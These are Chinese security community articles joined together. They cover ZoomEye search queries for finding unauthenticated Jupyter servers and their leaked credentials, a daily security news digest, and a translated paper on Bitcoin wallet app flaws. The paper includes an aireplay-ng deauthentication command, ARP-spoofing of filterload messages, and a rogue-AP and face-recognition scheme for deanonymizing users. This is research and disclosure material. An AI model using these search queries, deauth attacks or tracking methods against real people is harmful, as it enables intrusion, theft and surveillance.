### 四．查找未启用身份验证的Jupyter服务器
如上一章节所述，未启用身份验证Jupyter Notebook服务的标题内容是“Home Page - Select or create a
notebook”，未启用身份验证JupyterLab服务的标题内容是“JupyterLab”。
我们在ZoomEye上使用如下关键词进行搜索，查找到无需身份验证即可直接查看和使用的Jupyter
Notebook服务器IP地址和端口，总计1180条结果。
title:"Home Page - Select or create a notebook"
① ZoomEye搜索关键词为：title:"Home Page - Select or create a notebook"
② 总计1180条结果
我们在ZoomEye上使用如下关键词进行搜索，查找到无需身份验证即可直接查看和使用的JupyterLab服务器IP地址和端口，总计1597条结果。
title:"JupyterLab"
① ZoomEye搜索关键词为：title:"JupyterLab"
② 总计1597 条结果
### 五．Jupyter服务未启用身份验证的危害
用户在搭建Jupyter服务的时候，未启用身份验证，虽然方便了日常使用，无需输入密码；但同时也相当于将自己的代码和文档公开在互联网上，供其他用户任意访问查看，其中的登录用户名/口令、API
key/secret等敏感信息若被不法分子利用，可能会造成数据泄露和资产损失。
示例一：
如下图所示，该Jupyter服务器中的代码泄露了：bitFlyer加密货币交易所的用户API的key和secret，Gmail邮箱的用户名和口令。
不法分子利用bitFlyer加密货币交易所API的key和secret，可以在交易所中创建交易、取消交易等操作，可能会造成资产损失；利用Gmail邮箱的用户名和口令，可以登录Gmail邮箱，可能会造成隐私数据泄露。
① 泄露了bitFlyer加密货币交易所API的key和secret
② 泄露了Gmail邮箱的用户名和口令
示例二：
如下图所示，该Jupyter服务器中的代码泄露了：亚马逊AWS账号的ACCESS KEY ID和SECRET ACCESS KEY。
不法分子利用亚马逊AWS账号的ACCESS KEY ID和SECRET ACCESS
KEY，可以获取亚马逊AWS的该账号权限，上传文件至亚马逊S3云存储空间，甚至在亚马逊AWS上创建新的云服务器。
① 泄露了亚马逊AWS账号的ACCESS KEY ID
② 泄露了亚马逊AWS账号的SECRET ACCESS KEY
### 六．结语
在使用Jupyter的时候，尽量不要将其Web服务公开在互联网上，而是开放在局域网中使用，避免被无关人员访问到。
若却有使用需求将Jupyter的Web服务公开在互联网上，则必须设置通过token或者Password登录，而不是为了贪图方便而禁用身份验证。具体操作可以参见Jupyter官方的这篇安全建议博客：Please
don’t disable authentication in Jupyter servers [8]。
### 七．参考链接
[1] ZoomEye 网络空间搜索引擎
<https://www.zoomeye.org>
[2] Jupyter Notebook
<https://jupyter.org>
[3] Jupyter Notebook介绍、安装及使用教程
<https://zhuanlan.zhihu.com/p/33105153>
[4] JupyterLab
<https://jupyter.org>
[5] JupyterLab简介及常用操作
<https://support.huaweicloud.com/engineers-modelarts/modelarts_23_0209.html>
[6] Jupyter Notebook的安装方式
<https://jupyter.org/install>
[7] JupyterLab的安装方式
<https://jupyter.org/install>
[8] Please don’t disable authentication in Jupyter servers
<https://blog.jupyter.org/please-dont-disable-authentication-in-jupyter-servers-dd197206e7f6>
* * * | 社区文章 |
# 5月30日安全热点 - 苹果承认交出大量用户数据 涉及敏感隐私
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
360公司Vulcan（伏尔甘）团队披露区块链平台EOS严重漏洞
<http://t.cn/R1JtvcY>
CVE-2018-1418 ：IBM QRadar未经身份验证的远程代码执行漏洞
<http://t.cn/R1fCeFw>
CVE-2018-10092：Dolibarr管理员面板验证了远程执行代码（RCE）漏洞
<http://t.cn/R1Jtvfw>
未受保护的WiFi访问和Vgate iCar2 OBD2 Dongle中未加密的数据传输漏洞
<http://t.cn/R1Jtvf3>
CVE-2018-11027：Ruckus（博科）ICX7450-48反射式跨站脚本漏洞
<http://t.cn/R1JtvIF>
foilChat注册漏洞
<http://t.cn/R1Jtvxi>
JDA连接多个严重漏洞
<http://t.cn/R1JtvJl>
## 恶意软件 Malware
针对信息窃取恶意软件AZORult的分析
<http://t.cn/R1fenPh>
一起涉及多个DDoS僵尸网络样本的攻击事件追踪
<http://t.cn/R1f1VkA>
MalHide新恶意软件样本分析
<http://t.cn/R1Jtvcv>
SideWinder“响尾蛇”APT组织（T-APT-04）：针对南亚的定向攻击威胁
<http://t.cn/R1JUJ6X>
黑客是如何利用你的浏览器进行挖矿的？
<http://t.cn/R1J5LOu>
## 安全事件 Security Incident
两家加拿大银行遭黑客攻击，大量用户数据被盗
<http://t.cn/R1Jtv6E>
加密货币初创公司Taylor遭攻击，被盗135万美元
<http://t.cn/R1JtvX8>
## 安全资讯 Security Information
软银广受欢迎的机器人Pepper存在大量的安全漏洞
<http://t.cn/R1Jtvau>
窃贼利用黑科技23秒解锁奔驰汽车
<http://t.cn/R1JtvSE>
以2018世界杯为主题进行网络钓鱼诈骗
<http://t.cn/R1JtvKA>
巴布亚新几内亚国家正计划对Facebook进行为期一个月的全国禁令
<http://t.cn/R1Jtv9t>
苹果承认交出大量用户数据 涉及敏感隐私
<http://t.cn/R1fVfQ6>
## 安全研究 Security Research
可穿戴设备的网络物理风险
<http://t.cn/R1JtvCr>
CVE-2018-4910：在Adobe Acrobat中分析RCE以及几乎修复它的补丁程序
<http://t.cn/R1JtvNT>
驱动调试——挫败内核模式保护机制（part I）
<http://t.cn/R1JtvpT>
花式追踪你的宠物
<http://t.cn/R1xs1Dn>
Firefox中通用内容安全策略的Strict-Dynamic限制绕过漏洞分析
<http://t.cn/R1fQWxG>
【以上信息整理于 <https://cert.360.cn/daily>】 | 社区文章 |
# 针对比特币钱包App的三种漏洞攻击与对策
|
##### 译文声明
本文是翻译文章，文章原作者 Yiwen Hu, Sihan Wang, Guan-Hua Tu, Chi-Yu Li，文章来源：cse.msu.edu
原文地址：<http://www.cse.msu.edu/~leixinyu/Papers/Bitcoin2.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
如今，比特币是最受欢迎的加密货币。随着智能手机和高速移动互联网的普及，越来越多的用户开始在智能手机上访问其比特币钱包。用户可以在智能手机上下载并安装各种比特币钱包应用程序（例如Coinbase，Luno，Bitcoin
Wallet），并可以随时随地访问其比特币钱包。但是，这些比特币手机应用程序不一定安全，它们会扩展攻击者的新攻击面。在这项工作中探索了10种最受欢迎的比特币钱包App的不安全性，并发现了三个安全漏洞。通过利用它们，攻击者可以发起各种攻击，包括比特币去匿名，反射和放大垃圾信息以及钱包欺诈攻击。为了解决已确定的安全漏洞，本研究开发了一种工具Bitcoin
Security Rectifier，以保护比特币钱包App用户的安全。开发的工具不需要对当前的钱包应用程序进行任何修改，并且符合比特币标准。
## 0x01 Introduction
许多消费者和企业（例如Microsoft，Newegg，Overstock，Subway，Starbucks）已接受比特币作为付款方式。随着高速移动互联网的迅速部署和智能手机的普及，越来越多的用户开始通过各种比特币钱包App访问其比特币钱包。比特币钱包App是否会为攻击者创建新的攻击媒介，从而对移动用户发起新的攻击？不幸的是，本文研究得出了肯定的答案。在这项工作中，研究了10种最受欢迎的比特币钱包App（按下载次数排名），发现了三个安全漏洞，涵盖了比特币钱包应用程序的实现和比特币钱包应用程序服务的运行。本文发现，已被各种比特币钱包App广泛使用的比特币应用程序库
_BitcoinJ_
泄漏了比特币钱包用户的隐私（例如，所有用户的比特币地址）（漏洞V1）并在不向用户提供任何通知或警报的情况下，在后台不断下载用户不想要的比特币交易（漏洞V2）。此外，发现比特币钱包App可能违反了比特币钱包服务去中心化的原则，这些应用程序的用户更容易受到金融欺诈攻击。更具威胁性的是，大多数用户没有意识到这一点（漏洞V3）。
通过利用这些漏洞，本研究设计了三种针对用户的PoC：（1）比特币去匿名攻击； （2）比特币反射和放大垃圾信息攻击；
（3）比特币钱包欺诈攻击。第一种攻击使攻击者可以取消对比特币钱包使用的非真实比特币地址进行匿名处理。此攻击不仅以低错误率（例如10^(-13)％）识别比特币钱包App用户的所有比特币地址，而且还可以在满足某些使用条件的同时发现应用程序用户的真实身份。在第二种攻击中，攻击者利用中间的公共比特币网络元素（例如，全节点客户端）向比特币钱包App用户连续不断地未经请求地发送垃圾信息。垃圾信息流量由攻击期间全球所有比特币用户产生的所有新比特币交易组成。这是一种低成本的攻击；攻击者只需要向比特币网络发送一些小的发起数据包。在实验中观察到放大系数（垃圾信息流量大小与攻击发起包大小之比）接近3,666。这种攻击以两种方式攻击受害者：（1）在使用蜂窝网络服务时，受害者需要为比特币垃圾消息付费；
（2）受害者的手机比未受到攻击的手机消耗更多的电能96％。第三种攻击显示了攻击者为何可以超越其他类型的金融移动程序攻击的限制，针对比特币钱包应用程序用户发起各种比特币欺诈攻击，下表总结了本文发现。
## 0x02 Threat Model and Methodology
**比特币网络架构：** 下图说明了比特币网络架构。
运行比特币协议的网络节点可能包含四个功能：（1）钱包，（2）矿工，（3）完整的区块链数据库和（4）网络路由。 钱包功能为用户提供了比特币钱包服务。
此功能控制对用户资金（即BTC，比特币的货币）的访问，包括管理私钥/公钥和地址，跟踪余额以及生成和签名交易。
矿工功能瓦利约会新交易并将其附加到比特币区块链。 完整的区块链数据库功能可维护所有比特币区块的完整且最新的副本。 网络路由功能允许一个节点与其他节点通信。
**威胁模型：**
在这项研究中，攻击者是对比特币智能手机钱包用户发起远程攻击的人或组织。认为攻击者具有以下能力：（1）他们可以在公共传播信道中拦截，修改或注入任何消息；
（2）他们遵守所有加密假设，例如，如果没有解密密钥，将无法解密加密消息；
（3）他们无法控制受害者的智能手机和比特币网络基础设施。本文研究了10种流行的比特币钱包App，分别是Coinbase，Bit coin
Wallet，Blockchain Wallet，Bitcoin.com
Wallet，Luno，Mycelium，Coinomi，BRD，BitPay和Simple
Bitcoin。通过两种措施以负责任的方式进行了这项研究。首先，仅将手机用作受害者。其次，没有向公众分发任何恶意的比特币应用程序或库。本研究试图披露比特币钱包App的新安全漏洞和有效攻击，但并不加剧这种破坏。
## 0x03 Security Vulnerabilities
### V1：钱包比特币地址泄漏
第一个安全漏洞是钱包App的比特币地址可能会泄露给攻击者。特别是， _BitcoinJ_
是一个比特币客户端库，已被许多比特币钱包App（例如，Bitcoin
Wallet，Mycelium）广泛用于与比特币网络通信，从而泄漏了比特币钱包用户的隐私。
根据比特币标准，在SPV客户端（即，比特币钱包应用程序）与比特币FNC（完整节点客户端）连接之后，filterload信息将发送到FNC。该消息用于指定比特币钱包用户对特定交易的兴趣。实际上，通常将SPV客户端配置为对涉及比特币钱包用户的比特币地址的交易的兴趣。该消息带有三个关键参数，即filter，nHashFuncs和nTweak。filter本身是位域Bloom过滤器，因此FNC可以知道其连接的比特币钱包应用程序的地址的兴趣。根据将数据元素（例如，用户的比特币地址）提供给一组不同的nHashFuncs
MurmurHash3哈希函数来设置Bloom过滤器。这些nHashFuncs MurmurHash3哈希函数通过nHashNum×0xFBA4C795 +
nTweak初始化，其中nHashNum是哈希函数的索引（例如1st，2nd，3rd），nTweak是SPV客户端为过滤器选择的随机数。要将数据项（例如比特币地址）添加到过滤器，该数据项必须通过nHashFuncs不同的哈希函数进行哈希处理，并通过按位或运算设置过滤器中的相应位。例如，数据项将使用2个不同的哈希函数添加到干净的6位过滤器（值为000000），并且假设第一个和第二个哈希函数的结果分别为7（000111）和9（001001），可以接受的是，将过滤器设置为001111（000111或001001）。
研究表明，为了阻止攻击者通过拦截和分析纯文本filterload消息来准确发现比特币钱包用户曾经使用过的所有比特币地址， _BitcoinJ_
中实现了两种安全机制。首先，由于Bloom过滤器的误报率，一些不属于用户的错误地址将被过滤器过滤掉。其次，仅创建一次filterload消息并将其传输到比特币FNC（成功建立与FNC的TCP连接时），这意味着，如果攻击者从一开始就无法监视SPV客户端的所有活动，则它们将无法拦截filterload消息。
通过进一步的分析，发现这两个安全机制并不是安全的，原因如下。首先，将 _BitcoinJ_
中使用的Bloom过滤器的误报率（假地址数占添加到过滤器的所有地址数之和）设置为0.001％。第二，在SPV客户端和FNC之间建立TCP连接之后，将包含计算得出的Bloom过滤器的filterload消息发送到FNC。但是研究表明，如果SPV客户端与FNC的现有TCP连接被断开，
_BitcoinJ_ 将自动发现并与新FNC连接（参见上面的BitcoinJ
code1中的HandlePeerDeath函数）。因此，SPV客户端可能会遭受TCP重置攻击（即，有意断开受害者与旧FNC的TCP连接）并将filterload消息重新传输到新FNC。最后一点是，发现在SPV客户端使用的网络接口变得无法使用超过5秒后，
_BitcoinJ_ 将使用全新的随机数（即nTweak）生成filterload消息。根本原因是 _BitcoinJ_
维护一个Reset计时器（即5秒）以监视是否仍然存在可用的网络接口。收到比特币消息后，计时器将更新。一旦过期，将清除并重新初始化存储在内存中的多个变量，包括用于生成过滤器的nTweak。请注意，由于nTweak用于初始化filterload消息中使用的nHashFuncs
MurmurHash3哈希函数，因此，由两个不同的nTweaks生成的两条filterload消息可以帮助攻击者显着降低推断比特币用户地址的误报率。
例如，假设有两个由两个不同的nTweaks生成的filterload消息，且误报率设置为0.001％。由于该地址需要通过两个不同的过滤器，因此每个人仅允许0.001％的错误地址通过，因此将错误的地址识别为真实地址的可能性为0.001％×0.001％。
**验证：** 进行了如下实验来验证这种漏洞的能力，首先通过家庭Wi-Fi网络将经过测试的智能手机（例如，Samsung Galaxy S6
Edge）与互联网连接，下载并安装了经过测试的比特币钱包应用程序（例如，使用BitcoinJ的SPV客户，Bitcoin
Wallet）。其次，分别将0.0001
BTC存入了SPV客户端创建的两个比特币地址中。第三，为了使SPV客户端重新传输filterload消息，针对SPV客户端发起了两种攻击：（1）使用Netwox78工具进行TCP重置攻击，该工具旨在代表SPV客户端向FNC发送TCP重置数据包，并且（
2）使用Aircrack-ng进行Wi-Fi取消身份验证攻击，其目的是使SPV客户端的Wi-Fi断开时间超过5秒，如上图所示。第四，利用拦截的filterload中携带的过滤器消息和公共比特币交易数据库（即Blockchain.info）来推断SPV客户端使用的比特币地址。
实验结果如上图所示。通过发起TCP重置攻击，攻击者可以迫使经过测试的SPV客户端重新传输带有0.001％误报率的带有过滤器的filterload消息，而Wi-Fi取消身份验证攻击则允许攻击者获取由两个不同的nTweaks生成的两个filterload消息，这可以将误报率降低到10-8％们进一步检查了公共比特币交易数据库中记录的多少比特币地址可以通过拦截的过滤器。对于被TCP重置攻击拦截的过滤器，有3288个比特币地址通过了该过滤器。但是，比特币钱包应用程序仅使用了两个地址，而其余的3286个地址则未被使用。对于通过Wi-Fi取消身份验证攻击拦截的两个过滤器，只有两个比特币地址同时通过了两个过滤器；这两个比特币地址都属于经过测试的比特币钱包应用程序。验证实验证实，
_BitcoinJ_ 确实泄漏了比特币钱包应用程序使用的比特币地址。
### V2：没有针对下载比特币交易的反垃圾信息防御
第二个安全漏洞是，使用 _BitcoinJ_
的比特币钱包App将继续在后台从连接的比特币FNC中下载SPV客户端感兴趣的比特币交易，而不会向SPV客户端用户发出任何警报或通知。具体来说，如先前所述，SPV客户端将发送filterload消息，以指定其对特定比特币地址和交易的兴趣到比特币FNC。为了防止FNC或攻击者（中间人）准确地推断比特币用户/钱包的隐私，SPV客户端将通过配置filterload的筛选器字段来添加一些虚假数据项（即，这些内容不符合SPV客户端的兴趣）消息（将误报率设置为0.001％）。如果FNC发现任何符合SPV客户兴趣的比特币交易，则FNC将准备库存消息（即inv），其中包含匹配交易的身份，并将该消息发送给SPV客户。然后，SPV客户端使用
_BitcoinJ_ 处理inv消息。
研究表明， _BitcoinJ_ 将在下载inv消息之前对所有交易进行检查。但是，检查是有缺陷的，如BitcoinJ
code2所示。具体地说，进行了两次检查：（1）是否在（第11行）之前未下载交易，以及（2）交易是否不是自发的（第14行）。如果无论哪种情况都不进行交易，
_BitcoinJ_ 将下载比特币交易（第19行）。这证实了 _BitcoinJ_
在下载交易之前不检查正在下载的比特币交易是否可以通过发送给FNC的先前过滤器。如果在 _BitcoinJ_
上没有部署其他安全机制（例如，与恶意FNC断开连接），则SPV客户端将下载接收到的inv消息中指定的比特币交易操作，无论这些交易是否出于其目的。因此，SPV客户端用户会遭受各种攻击，并且没有意识到这些攻击。
**验证：** 本文进行了一项实验来验证此漏洞。首先在Samsung Galaxy S6
Edge上使用BitcoinJ安装了经过测试的比特币钱包应用程序（即Bitcoin Wallet），并通过家庭Wi-Fi网络将其连接到互联网。其次，使用ARP欺骗攻击拦截了filterload消息。由于比特币并未对所有消息字段都采用消息级加密和完整性保护，因此修改了filterload消息的消息字段Data和nFlag分别设置为0xFF
…
FF和0，并将修改后的filterload消息发送到SPV客户端连接到的FNC。以上修改表示用户对所有全球比特币用户产生的所有新比特币交易感兴趣。实验持续了10分钟。
上图说明了在10分钟的实验运行中，SPV客户端从连接的FNC接收了130条清单消息并下载了2535比特币交易。有三个观察结果。首先，所有下载的比特币交易均不涉及经过测试的SPV客户端曾经使用过的任何比特币地址。其次，SPV客户并未与FNC断开连接，因为FNC出于SPV客户的利益而传输了大量比特币交易。第三，SPV客户端没有向用户显示任何警报或通知（例如，遭受垃圾信息攻击）。这些证实了SPV客户端和BitcoinJ在下载它们之前均未验证是否关注比特币交易，并且未采用任何其他安全机制来阻止由连接的FNC发送的垃圾信息。
### V3：违反比特币钱包服务去中心化
根据设计，比特币支付网络使用点对点（P2P）分布式网络架构，该架构允许比特币钱包客户端访问比特币网络而无需任何中间代理或服务器。这种方法不仅保护了比特币钱包用户的匿名性（例如，不需要服务器端用户注册，而且没有检查点监视所有比特币用户的活动），而且还防止了比特币钱包服务受到其中一些节点的损害。比特币网络。攻击者需要控制大多数比特币矿工和整个节点；否则，攻击者将无法篡改比特币支付交易。为了保持比特币的去中心化，比特币官方网站
<https://bitcoin.org/> 还发布了比特币节点的参考实现，Bitcoin Core支持所有比特币功能（例如，钱包，网络路由，矿工 ）。
但是，Bitcoin.org仅针对PC用户（Windows，Mac OS和Linux）而非手机用户开发并发布了BitCoin
Core，这意味着市场上所有比特币钱包App均由其他方开发。更糟糕的是，比特币未规定任何检查机制来检查和强制执行比特币钱包App的合规性。因此，这引发了两个问题：这些比特币钱包App是否仍将比特币去中心化？如果不是，用户是否知道违规？分别对10种流行的比特币钱包App及其用户进行了安全性研究和用户研究。结果表明上述两个问题的答案都是“否”。
有三个发现，首先某些钱包应用程序未提供理想的比特币去中心化功能。这些钱包应用程序不允许用户直接访问比特币网络。所有比特币交易必须通过安全通道（例如TLS）传输到应用程序开发人员部署的中间服务器。将这些应用程序称为违反比特币去中心化的非P2P钱包应用程序。其次发现，一些非P2P钱包应用程序的用户不能完全控制他们的比特币钱包私钥。因此，用户在其比特币地址中存放的比特币可以在未经用户事先同意的情况下由其他方转移到其他比特币地址。最后但并非最不重要的一点是，大多数钱包应用程序用户都不知道存在违反比特币去中心化的行为，这些用户可能遭受各种比特币钱包欺诈攻击。
**验证：** 进行了一个实验来验证此漏洞，首先，在Samsung Galaxy S6 Edge上安装了经过测试的比特币钱包应用程序，通过家用Wi-Fi路由器将其与互联网连接，并禁用了S6上的所有后台数据服务。其次，使用数据包抓取工具tcpdump来抓取由家庭Wi-Fi路由器发送并发往S6的所有数据包。第三，启动了经过测试的比特币钱包应用程序。
上图a和b分别说明了从Bitcoin
Wallet和Coinbase钱包应用程序中获得的数据包。发现比特币钱包发送和接收了几条比特币消息，而没有观察到从Coinbase发送/接收到任何比特币消息，而是从许多TLSv1.2数据包中发送/接收了比特币消息。特别是，Coinbase需要与IP地址为54.xxx.xxx.99的中间服务器建立TLSv1.2连接。结果表明，Coinbase，Luno，Blockchain
Wallet，Bitcoin.com
Wallet，Mycelium，Coinomi和BitPay不允许其用户直接访问没有中间服务（非P2P钱包）的比特币网络，而Bitcoin
Wallet，BRD和Simple比特币钱包可以做到（P2P钱包）。
**用户研究：**
本文进行了一个小规模的用户研究（50个参与者），以研究比特币智能手机钱包用户是否注意到当前市场上有两种类型的比特币智能手机钱包（即P2P比特币钱包和非P2P比特币钱包），后者违反了比特币的去中心化。在这项研究中采访了五十名参与者，结果表明只有一位参与者知道他必须通过他的比特币钱包应用程序开发人员部署的中间服务器访问比特币支付网络，而其他参与者则不知道。进一步研究了这种现象的根本原因，有两个主要原因。首先，大约三分之一的参与者表示，他们仅根据该应用程序的下载和评论下载了一个比特币钱包应用程序，因此他们没有注意到存在两种不同类型的比特币钱包应用程序。其次，大约三分之二的参与者表示，他们确实使用了不止一个比特币钱包应用程序。但是，这些钱包应用程序为用户提供了相似的用户界面。
上图说明了在发送和接收BTC时，Bitcoin Core（用于PC的基于P2P的客户端），Bitcoin
Wallet（用于智能手机的基于P2P的客户端）和Coinbase（用于智能手机的非基于P2P的客户端）的用户界面。因此，他们不知道有两种类型的比特币钱包应用程序。
**影响：**
进行了另一个实验来研究违反比特币去中心化的可能负面影响，旨在探讨非P2P比特币钱包应用程序用户存放的BTC是否将在未经用户事先同意的情况下转移到其他比特币地址。请注意针对的服务是比特币钱包服务，而不是比特币交换服务（例如，出售BTC）。
实验进行如下，首先将0.0001
BTC存入了经过测试的比特币钱包应用程序提供的比特币地址。其次，通过查询公共在线比特币交易数据库Blockchain.Info来监视是否有任何与比特币地址相关的新交易，监控过程持续了一周。结果表明，在未经许可的情况下，存放的BTC在大约27小时后被转移到其他比特币地址。在另一种非基于P2P的钱包应用程序Luno上也观察到了类似的结果。结果表明，并不是所有的比特币钱包App用户都能完全控制其比特币钱包私钥。
此外，表面上看违反比特币去中心化不一定是一个漏洞，因为非P2P钱包应用程序可能是良性的，而支持比特币去中心化的基于P2P的钱包应用程序可能是恶意的。但是由于以下原因，第二种想法的情况并非如此。首先，无论非P2P钱包应用程序是否良性，其代理/服务器都可能受到攻击者的侵害，因此其用户的所有比特币钱包私钥都会泄露给攻击者。相反，P2P比特币钱包应用程序的操作不依赖于任何中间代理/服务器，而是分布式的比特币网络。其次，对于恶意的基于P2P的钱包应用程序而言，绕过常规的深度数据包检测（DPI）安全机制具有挑战性，因为基于P2P的应用程序传输的所有消息都是纯文本比特币消息，而不是其他任何消息，即因此，可以轻松地进行消息调查以识别可疑活动。最后，违反比特币去中心化违规行为为非P2P钱包应用程序提供商提供了一种有效手段，可以监视用户信息（例如，位置，智能手机型号，IP地址，服务WiFi
/蜂窝网络），这威胁着比特币用户匿名。
## 0x04 Proof-of-Concept Attacks
### A.比特币去匿名攻击
该攻击旨在使匿名比特币地址和比特币钱包App用户的交易匿名化。近年来，比特币去匿名化是一个流行的研究主题。
已证明如果SPV客户端（比特币钱包应用程序）拥有少量的比特币地址（例如小于20），则攻击者可以使用单个过滤器从拦截的filterload消息中正确猜测所有这些比特币地址的概率为80％，而过滤器使用的目标误报率为0.05％。然而，现有技术具有三个关键限制。首先，如果攻击者长时间无法连续监视受害者，则攻击者可能无法拦截受害者发送的filterload。其次，猜测受害者的所有比特币地址的准确性在很大程度上取决于受害者使用的比特币地址的数量。例如，当SPV客户拥有50个比特币地址（0.05％的目标误报）时，在考虑7.149亿比特币地址已添加到区块链时，直到09/01/2020
，攻击者正确猜出所有这些比特币地址的可能性将大大降低至6.67×10^(−212)％。第三，现有技术没有识别出比特币钱包应用用户的真实身份（例如，名字），因此对现实世界的破坏是有限的。
本研究的比特币去匿名攻击旨在解决上述问题。通过利用漏洞V1，攻击者可以迫使受害者的SPV客户端主动传输多个不同的filterload消息。每个消息都有一个过滤器，该过滤器的默认误报率为0.001％。通过对多个过滤器进行处理，攻击者可以将识别出的比特币地址的错误率降低到可接受的水平（例如，三个不同的过滤器得到10％至13％的错误率）。具体来说，在此攻击中，在考虑所有使用的比特币地址（即7.149亿）的同时，错误识别的比特币地址的数量为0.00000072。由于错误率低，因此可以将识别出的比特币地址开发为新的唯一钱包指纹。两个用户生成相同的比特币地址的可能性极小。此外，通过利用智能手机上流行的Wi-Fi呼叫服务（也称为WiFi语音，VoWiFi）的漏洞，攻击者可以发现比特币钱包应用程序用户的身份。请注意，直到2019年2月，52个国家/地区的许多蜂窝网络运营商已广泛支持Wi-Fi呼叫服务。
**攻击者假设：** 假设受害者的智能手机支持Wi-Fi呼叫服务，而攻击者可以在公共场所（例如Starbucks，Walmart,
Mcdonalds）附近的受害者附近部署Wi-Fi网络和监控摄像头。实际上，攻击者实现这一目标并不是很困难。例如，攻击者可以通过在智能手机上使用移动热点服务，同时将智能手机用作面对受害者的监视摄像头，来部署流氓AP（例如模拟Starbucks的Wi-Fi AP）。
**攻击设计：**
上图说明了此攻击的流程图。首先，正如之前假设的那样，攻击者可以拦截所有受害者包。其次，为了分析这些数据包，开发了一个由两个模块组成的比特币地址去匿名器：（1）用户身份推断模块和（2）比特币地址发现模块。接下来，将详细介绍这两个模块的设计。
**1）用户身份推断：** 利用新部署的蜂窝网络服务，Wi-Fi呼叫服务和可视技术来推断智能手机上比特币钱包所有者的用户身份。该模块通过利用独特的人类通话动作（即在接听电话时将手机移至右/左耳并在通话结束时放下电话）和视觉检测技术来推断用户身份。
该模块包含两个主要功能：第一项功能是通过分析加密的Wi-Fi呼叫IPSec数据包来推断用户智能手机的IP地址，其Wi Fi呼叫事件和事件时间戳。
攻击者可以通过分析Wi-Fi呼叫的IPSec数据包来识别Wi-Fi呼叫用户的呼叫事件（例如，拨打电话，接听电话或通话）。具体来说，通过分析Wi-Fi用户的IPSec数据包，攻击者可以准确地知道特定IP地址的所有者通过Wi-Fi呼叫服务进行通话的时间（呼叫开始的时间和呼叫结束的时间）。第二项功能是使用监控摄像头记录用户的动作，发现Wi-Fi呼叫开始和结束的时间，以及通过面部识别技术和在线反向图像搜索引擎（即查找人的姓名）来识别其用户身份通过提供照片）。通过关联第一个功能提供的Wi-Fi通话开始和结束的时间，能够推断出IP地址（例如192.168.1.75↔Alice）的用户身份。输出结果IP地址，用户身份将发送到比特币地址发现模块。
**2）比特币地址发现：**
在接收到由用户身份推断模块发送的IP地址，用户身份后，比特币地址发现模块将首先验证该IP地址是否属于SPV客户端，然后发现所有使用的比特币地址由SPV客户端。通过分析截获的数据包，很容易判断IP地址是否属于SPV客户端，因为所有比特币消息均未加密。进一步利用漏洞V1，以低误报率获取受害者的多个过滤器。因此，通过给定的SPV客户端IP地址，此模块将输出一个四元组<
_Bitcoin addresses_ , _User identity_ , _IP address last used_ , _timestamp_
>。
**实施攻击:** 1）准确地拦截受害者的Wi-Fi呼叫数据包，并识别其带有时间戳的呼叫事件和受害者设备的IP地址。例如，可以确定Wi-Fi呼叫用户使用IP地址192.168.1.5在上午10:50:10拨打电话，并在上午10:50:16结束呼出电话。此外，应用了多种计算机视觉技术来通过脸部识别及其带有时间戳的呼叫动作来发现用户的用户身份。这包括两个步骤。首先，对SVM（支持向量机）模型进行了训练，以检测用户的拨号/通话动作。为SVM提供了错误和正常的训练视频。对于每个训练视频，假定可以在人员边界框中识别该人员，并提取其相应的HOG（定向梯度直方图）描述符。使用VLFeat6提取HOG描述符并训练SVM。其次，一旦SVM检测到用户的拨号/通话动作，就会在视频帧中识别出用户身份。将MatConvNet和Tensorflow和DR-GAN模块（Disentangled Representation learning-Generative Adversarial
Network）的深度学习库用作微人脸检测器（即在视频帧中发现人脸）。注意，实际上，攻击者还可以利用一些在线逆向图像搜索引擎（例如*ocialcatfish）来发现人脸对应的身份。
通过关联Wi-Fi推断和视频推断的呼叫事件的时间戳，用户身份推断模块可以将用户身份与IP地址相关联。结果< _user identity_ , _IP
address_ >被发送到比特币地址发现模块。
2）对受害设备发起了Wi-Fi取消身份验证攻击，并获得了来自不同nTweaks的多个过滤器。首先，将Aircrack-ng部署在Linux计算机上，并将无线网络适配器卡更改为监视模式，该卡允许该卡发现附近的Wi-Fi路由器及其MAC地址和SSID（Wi-Fi的服务集标识符）路由器，例如“Starbucks WiFi”）。其次，执行命令“ airplay-ng –deauth 0 -c
XX：XX：XX：EC：3B：30 -a XX：XX：XX：36：92：10 wlp3s0mon”，其中EC：3B：30和36：
92:10是用户设备和WiFi路由器的MAC地址的最后三个字节，而wlp3s0mon是无线网络适配器卡。第三，经过5秒的攻击期后，停止了攻击。断开连接的受害设备将在不到10秒的时间内重新连接到Wi-Fi路由器，并传输由新的nTweak生成的filterload消息。通过重复步骤2和3，攻击者可以获得多个filterload消息并标识SPV客户端使用的比特币地址。
**攻击评估：**
首先，邀请了四个学生（U1，U2，U3，U4）参加此评估实验。所有参与者都提供了他们的正面人脸（作为训练数据）和用户身份（例如姓名）。其次，参与者进入安装了监控摄像头和经过测试的Wi-Fi路由器的房间。然后，他们从装有四台经过测试的智能手机的盒子中随机选择了一部手机（所有经过测试的手机均具有相同的型号和相同的颜色）。在经过测试的手机上，激活了Wi-Fi呼叫服务并预安装了比特币钱包应用程序比特币钱包。第三，要求所有参与者拨打至少一个Wi-Fi呼叫并进行比特币交易，该交易在10分钟内将随机数量的BTC转移到一个比特币地址中，进行了五轮试验。
1）结果表明，基于Wi-Fi呼叫的用户身份推断模块可以识别五个实验运行中四个参与者的用户身份（如上表所示）。但是，还观察到呼叫开始/结束时间的平均误差约为1.5秒（即，基于视频的估计时间与Wi-Fi呼叫推断时间之间的误差）。这意味着如果多个用户拨打并结束其通话，以1.5秒的间隔通话，当前的模型可能无法准确识别用户身份。然而，可以通过向用户身份推断模块提供更多的呼叫统计信息（例如，用户在呼叫中保持沉默多长时间）来解决该问题。
2）在收到推断的用户身份和用户的IP地址后，该模块通过上述Wi-Fi取消身份验证攻击获得两个过滤器，应用这两个过滤器来发现SPV客户端使用的所有比特币地址（Bitcoinwallet应用程序），并检索所有相关的比特币交易。上图说明了该模块如何在一次实验运行中对与参与者U1使用的比特币钱包相关的所有比特币地址和比特币交易进行匿名处理。图左、中和右分别显示（1）使用不同nTweaks生成的两个filterload消息，（2）成功通过两个过滤器的比特币地址，（3）所有比特币分别与发现的比特币地址有关的交易。参与者U1完成了最后一笔比特币交易（No.
41），目的是在此次实验运行期间将0.0003 BTC转移到比特币地址之一；参与者U1确认了这个结果。
这种攻击的关键结果是多维用户隐私泄漏，它不仅使比特币钱包智能手机用户的所有比特币地址和交易匿名，而且还基于受害者独特应用层的基于比特币钱包的指纹，为攻击者提供可靠的用户跟踪机制（即受害者比特币钱包应用程序使用的比特币地址）
。
